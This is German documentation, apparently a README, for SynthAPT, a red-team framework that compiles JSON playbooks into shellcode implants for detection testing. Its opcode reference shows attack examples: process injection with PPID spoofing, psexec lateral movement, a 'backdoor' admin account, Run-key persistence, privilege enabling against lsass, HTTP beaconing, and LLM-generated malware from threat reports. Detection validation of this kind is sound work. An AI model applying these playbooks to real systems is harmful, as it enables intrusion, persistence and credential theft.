SynthAPT

Übersicht

SynthAPT ist ein playbook-basiertes Framework zur Adversary-Simulation für die Nachbildung komplexer Angriffspfade. Es ist für die Validierung fortschrittlicher Erkennungen und KI-basierter Untersuchungsagenten konzipiert. Die Kernidee ist, dass Malware-Verhalten in JSON ausgedrückt und in funktionsfähige Malware kompiliert werden kann, was eine schnelle Entwicklung realistischer Szenarien mithilfe von LLMs ermöglicht.

Das Kernimplantat ist ein Shellcode-Payload, der von einem Playbook-Interpreter gesteuert wird. Ein Playbook definiert den gesamten Angriffspfad vor, und das Implantat folgt ihm, indem es sich durch Prozessinjektion, laterale Bewegung usw. durch die Umgebung bewegt. Jedes Implantat wird als unabhängiger Thread mit eigenem Befehlssatz gestartet, sodass mehrstufige Angriffe (z. B. initialer Zugriff → Privilegienerweiterung → laterale Bewegung → Exfiltration) als Graph kooperierender Implantate dargestellt werden, die alle im Voraus im Playbook definiert sind. Dies hat drei wesentliche Vorteile:

Payloads können echte Malware ohne C2-Infrastruktur nachahmen – der gesamte Angriffspfad ist im Payload eingebettet und C2-Interaktionen können simuliert werden
Payloads sind wiederholbar – sie führen den gesamten Angriffspfad jedes Mal identisch aus, was sie für Regressionstests von Erkennungen geeignet macht
LLMs können Threat-Intelligence-Berichte und Blogbeiträge direkt in funktionsfähige Payloads übersetzen, ohne dass offensive Fachkenntnisse oder der Aufbau von Malware von Grund auf erforderlich sind

Field	Type
task	u8	optional
magic	u32 Hex-String oder Zahl	optional
{ "op": "get_shellcode" }
{ "op": "get_shellcode", "task": 5, "magic": "0x18181818" }

Feld	Typ
command	string	erforderlich
{ "op": "run_command", "command": "whoami /all" }

Field	Type
path	string	erforderlich
{ "op": "read_file", "path": "c:\users\public\data.txt" }
{ "op": "read_file", "path": "%0" }

Field	Type
var	u16	erforderlich
{ "op": "check_error", "var": 0 }

Feld	Typ
var	u16	erforderlich
data	bytes	optional (leer, falls nicht angegeben)

Field	Type
image	string	erforderlich
task_id	u8	erforderlich
pipe_name	string	optional (Named Pipe zur Ausgabeerfassung, ohne `\\.\pipe\`-Präfix)
search	string	optional (Prozessname/Befehlszeile zur Täuschung der PPID)
no_kill	bool	optional (Standard: false — Prozess wird nach Injektion beendet)
{ "op": "sacrificial", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 }
{ "op": "sacrificial", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe", "pipe_name": "output" }

Feld	Typ
port	u16	erforderlich
magic_base	u32 hex string or number	optional
{ "op": "shellcode_server", "port": 8080 }
{ "op": "shellcode_server", "port": 8080, "magic_base": "0x18181818" }

Feld	Typ
target	string	erforderlich (Hostname oder IP)
service_name	string	erforderlich
display_name	string	erforderlich
binary_path	string	erforderlich (Pfad auf dem entfernten Host)
service_bin	bytes	erforderlich (zu schreibende Binärdaten)
{ "op": "psexec", "target": "192.168.1.10", "service_name": "MySvc", "display_name": "My Service", "binary_path": "c:\windows\temp\svc.exe", "service_bin": "$0" }

Field	Type
bof_data	bytes	erforderlich
entry	string	optional (Standard: `"go"`)
inputs	bytes	optional (BOF-Argumente, leer wenn weggelassen)
{ "op": "run_bof", "bof_data": "%0", "entry": "go", "inputs": "" }
{ "op": "run_bof", "bof_data": "$0" }

Feld	Typ
dn	string	erforderlich
attr	string	erforderlich
value	string	erforderlich
{ "op": "set_ad_attr_str", "dn": "CN=user,CN=Users,DC=corp,DC=local", "attr": "description", "value": "owned" }

Feld	Typ
targets	string	erforderlich (durch Komma getrennte IPs, CIDRs, Bereiche oder Hostnamen; Alias: `host`)
ports	string	erforderlich (durch Komma getrennte Ports oder Bereiche, z. B. `"22,80,443,8000-8100"`)
{ "op": "portscan", "targets": "10.0.0.0/24", "ports": "22,80,443,445,3389" }
{ "op": "portscan", "targets": "192.168.1.1-192.168.1.50,dc01.corp.local", "ports": "80,8000-8100" }

Field	Type
group	string	erforderlich
username	string	erforderlich
server	string	optional (leer = lokaler Rechner)
{ "op": "add_user_to_localgroup", "group": "Administrators", "username": "backdoor" }
{ "op": "add_user_to_localgroup", "server": "ws01", "group": "Remote Desktop Users", "username": "CORP\attacker" }

Feld	Typ
Schlüssel	string	erforderlich (vollständiger Pfad, z.B. `"HKLM\\SOFTWARE\\MyApp"`)
{ "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" }

Feld	Typ
key	string	erforderlich
value_name	string	erforderlich (leere Zeichenfolge für Standardwert)
value	bytes	erforderlich
value_type	string	optional (Standard: `"REG_SZ"`; auch: `REG_DWORD`, `REG_BINARY`, `REG_EXPAND_SZ`, `REG_MULTI_SZ`, `REG_QWORD`)
{ "op": "reg_set_value", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "value_name": "Updater", "value": "C:\Windows\Temp\payload.exe" }
{ "op": "reg_set_value", "key": "HKLM\SOFTWARE\MyApp", "value_name": "Count", "value_type": "REG_DWORD", "value": { "hex": "05000000" } }

Feld	Typ
privilege	string	erforderlich (Alias: `priv_name`)
search	string	optional (leer = aktueller Prozess)
{ "op": "enable_privilege", "privilege": "SeDebugPrivilege" }
{ "op": "enable_privilege", "search": "lsass", "privilege": "SeTcbPrivilege" }

Feld	Typ
username	string	erforderlich
password	string	erforderlich
domain	string	optional (leer = Arbeitsgruppe oder UPN-Format)
logon_type	u8	optional (Standard: `9`; `2` = interaktiv, `3` = Netzwerk)
{ "op": "make_token", "domain": "corp", "username": "bob", "password": "Password1" }
{ "op": "make_token", "username": "[email protected]", "password": "Password1" }
{ "op": "make_token", "domain": ".", "username": "localadmin", "password": "Password1", "logon_type": 2 }

Feld	Typ
hook_id	i32	optional (von `frida_hook` zurückgegebene Hook-ID)
name	string	optional (mit dem `name`-Feld von `frida_hook` gesetzter Hook-Name)
{ "op": "frida_unhook" }
{ "op": "frida_unhook", "hook_id": 1 }
{ "op": "frida_unhook", "name": "my_hook" }

Feld	Typ
host	string	optional
port	u16	optional (Standard: `80`)
interval	u32	optional (Poll-Intervall in ms; Standard: `5000`)
secure	bool	optional (Standard: `false`)
agent_id	string	optional (Kennung, die in Beacon-Anfragen gesendet wird)
{ "op": "http_beacon", "host": "10.0.0.1", "port": 443, "interval": 10000, "secure": true }

Feld	Typ
pid	u32 or `"all"`	optional (weglassen = aktueller Prozess; `"all"` = jeder zugängliche Prozess)
{ "op": "dll_list" }
{ "op": "dll_list", "pid": 1234 }
{ "op": "dll_list", "pid": "all" }

Feld	Typ
task_id	u8	erforderlich
export_name	string	optional (Standard: `"Run"`)
{ "op": "generate_dll", "task_id": 2 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\temp\payload.dll", "content": "$0" }

Feld	Typ
service_name	string	erforderlich (Alias: `name`)
{ "op": "register_service", "service_name": "MySvc" }

Field	Type
pid	u32 or `"all"`	optional (weglassen = aktueller Prozess; `"all"` = jeder zugängliche Prozess)
{ "op": "malfind" }
{ "op": "malfind", "pid": 1234 }
{ "op": "malfind", "pid": "all" }

SynthAPT

Beliebteste

SynthAPT

Übersicht

Funktionen

Aus dem Quellcode erstellen

Verwendung

Opcodes-Referenz

get_shellcode (0x02)

run_command (0x04)

read_file (0x06)

check_error (0x08)

set_var (0x0A)

goto (0x0C)

list_procs (0x0E)

wmi_exec (0x10)

sacrificial (0x12)

shellcode_server (0x14)

psexec (0x16)

run_bof (0x18)

set_ad_attr_str (0x1A)

portscan (0x1C)

add_user_to_localgroup (0x1E)

get_user_sid (0x20)

remove_user_from_group (0x22)

reg_create_key (0x24)

reg_set_value (0x26)

make_token (0x28)

enable_privilege (0x2A)

list_thread_privs (0x2C)

revert_to_self (0x2E)

delete_service (0x30)

generate_dll (0x32)

shell_extract (0x34)

load_library (0x36)

hollow (0x38)

register_service (0x3A)

hollow_apc (0x3C)

frida_unhook (0x40)

http_beacon (0x43)

dll_list (0x45)

malfind (0x47)

Erkennung

Namensnennung